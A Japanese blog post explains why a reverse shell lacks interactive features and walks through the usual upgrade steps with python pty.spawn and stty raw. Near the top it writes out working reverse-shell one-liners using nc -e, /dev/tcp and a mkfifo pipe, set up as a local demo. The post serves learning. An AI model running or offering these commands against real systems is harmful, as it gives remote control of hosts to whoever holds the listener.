🐕

リバースシェルでのシェルのアップグレードのメカニズム

に公開

リバースシェルで接続したシェルを操作すると、Ctrl+Cが使えなかったり、タブ保管や、上矢印キーがきかなかったりいろいろと不便なことが多い。
そのためにシェルのアップグレードと呼ばれる操作を行い、通常のSSH操作と同じインタラクティブな操作を可能な状態にすることが多い。

リバースシェルはLinuxサーバを持っていればプロンプトを二つ開いて以下のコマンドを実行すれば擬似的に発生できるので、試してみるといいだろう。

一つ目のプロンプトでは、ポートを開いておく

nc -lvp 4444

二つ目のプロンプトで、一つ目のプロンプトで開いたポートに接続してbashを起動する

nc localhost 4444 -e /bin/bash

nc -eオプションが使えない場合は以下のコマンドのどちらかで代用可能

bash -i &> /dev/tcp/12.0.0.7/4444 0>&1

もしくは

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc 127.0.0.1 4444 > /tmp/f

リバースシェルで接続したシェルは基本的にはインタラクティブな操作はできないことがわかるはずだ。

シェルのアップグレードの代表的なやり方

やり方は以下の通り

python -c 'import pty; pty.spawn("/bin/bash")'

Ctrl + Zを押してプロセスを一時中断

stty raw -echo; fg

sttyとか見慣れないコマンドが多く、何のために何をやっているのか調べてみた。

なぜリバースシェルではインタラクティブな操作ができないのか

リバースシェルの話をする前に通常のSSHで操作するシェルはどのようになっているのかを知る必要がある。

SSHでは何が起きているのか

SSHでシェルを起動するとき、SSHクライアントから22番ポートに接続したら、SSHデーモンはPTY(擬似ターミナル)を生成する。

次にSSHデーモンはユーザのログインシェル(ここではbashとする)を起動する。
そしてbashプロセスの標準入出力をPTYに設定する。
そうすることでbashプロセスはインタラクティブなシェルとして起動する。

ちなみにPTYにはマスターとスレーブがペアで存在し、SSHデーモンはPTYマスターに接続する。
そしてPTYスレーブはbashプロセスと接続される。
bashプロセスのファイルディスクリプタを見てみると/dev/pts/1のようになっているはずだが、このptsというのがスレーブを指している。

ではリバースシェルでは何が足りないのか

リバースシェルでは通常ネットワークソケットとプロセスが直接繋がっている。
それはつまりbashプロセスがPTYに接続されていないのである。
これが何を意味するのかというとbashがインタラクティブなシェルとして起動してくれないのだ。

そのためにbashプロセスをPTYに接続した状態で起動してあげる必要がある。
そしてそのコマンドこそが先ほどのpythonコマンドである。

python -c 'import pty; pty.spawn("/bin/bash")'

このコマンドはpythonを起動してその中でPTYと接続された子プロセスを起動する。
この時点でpython <-> PTY <-> 子プロセスという形になっている。

その後子プロセスをbashプロセスに置き換えるのである。
つまりpython <-> PTY <-> 子プロセス(中身はbash)という形になる。

pythonはリバースシェルの子プロセスなので、標準入出力はリバースシェルと同じく攻撃者のネットワークソケットになる。
つまりデータの流れの全体像はこのようになる。
ネットワークソケット(攻撃者端末向け) <-> Python <-> PTY <-> bash

これで攻撃対象でインタラクティブなシェルを立ち上げることに成功した。

しかし話はまだここでは終わらない。
実際にここまでやってみた方はわかるだろうが、この状態でCtrl+Cとか矢印キーとかを実行すると思った操作にならないはずだ。

それを解消するために後続の操作が必要となる。
それはなぜ必要なのか解説したい。

インタラクティブなシェルを立ち上げるだけだとダメな理由

インタラクティブなシェルは立ち上がったが、この状態ではまだ欠陥がある。
それは攻撃者端末側(Kali Linuxとか)がシェルの操作に適切な設定になっていないからである。

まず通常Ctrl+Cが送信されると何が起きるかというとCtrl+Cを受け取ったターミナルドライバはCtrl+Cを特殊な指示だと解釈してSIGINTシグナルに変換してフォアグラウンドのプロセスに送信する。

このおかげでターミナル操作時に通常Ctrl+Cを押すと、Ctrl+Cとして処理されずにプロセス終了時に使えるのである。

ではSSHで接続したらどうなるか見てみるか見てみよう。
SSH接続するとSSHクライアントがターミナルドライバ設定を自動的に変更して、SSHクライアント側のターミナルドライバがCtrl+Cを解釈しないようになる。
そしてCtrl+CはSSH接続先に生の状態で流れていき、SSH接続先サーバ側でCtrl+Cが解釈されてSIGINTとして処理されるようになる。

ほとんどの人は気にしたことがないと思うが、このおかげでSSH接続した時に何も意識しなくても接続先サーバで思った通りの操作ができるようになっているのである。

話が見えてきただろうか。
先ほど説明したSSH接続時にSSHクライアントがターミナルドライバ設定を自動的に変更しなかったらどうなるか、考えてみてほしい。
おそらくCtrl+CはSSHクライアント側のターミナルドライバで解釈されてSIGINTに変換される。
そしてSIGINTシグナルはフォアグラウンドであるSSHクライアントプロセスに対して送信されて、おそらくSSHクライアントプロセスが終了するはずだ。

リバースシェルでもこれと同じようなことが起きてしまう。
リバースシェルをncコマンドで行っているのであれば、Ctrl+Cを押すと攻撃者端末側のncコマンドにSIGINTシグナルが送られてしまいncコマンドが終了してしまうのである。(↑矢印キーやTabキーも似たような原理)
そのため手動でsttyコマンドを実行して設定を変更させているのである。

↑矢印キーやTabキーも同じような話だが、若干原理は異なる。
↑矢印キーやTabキーはターミナルドライバで解釈されるのではなく、bashの機能で解釈されてターミナルの動作に変換される。

stty rawをしないと、ターミナルはEnterが押されるまで文字列をバッファしてため込むのだが、そのせいでリアルタイムで対象端末側のbashにTabキーが届いてくれない。
まとまった文字列として届くためbashがうまく解釈できずにバイト文字列として認識されてしまい本来の機能が動作しないのである。

今日はここまでにする。ではまた

Discussion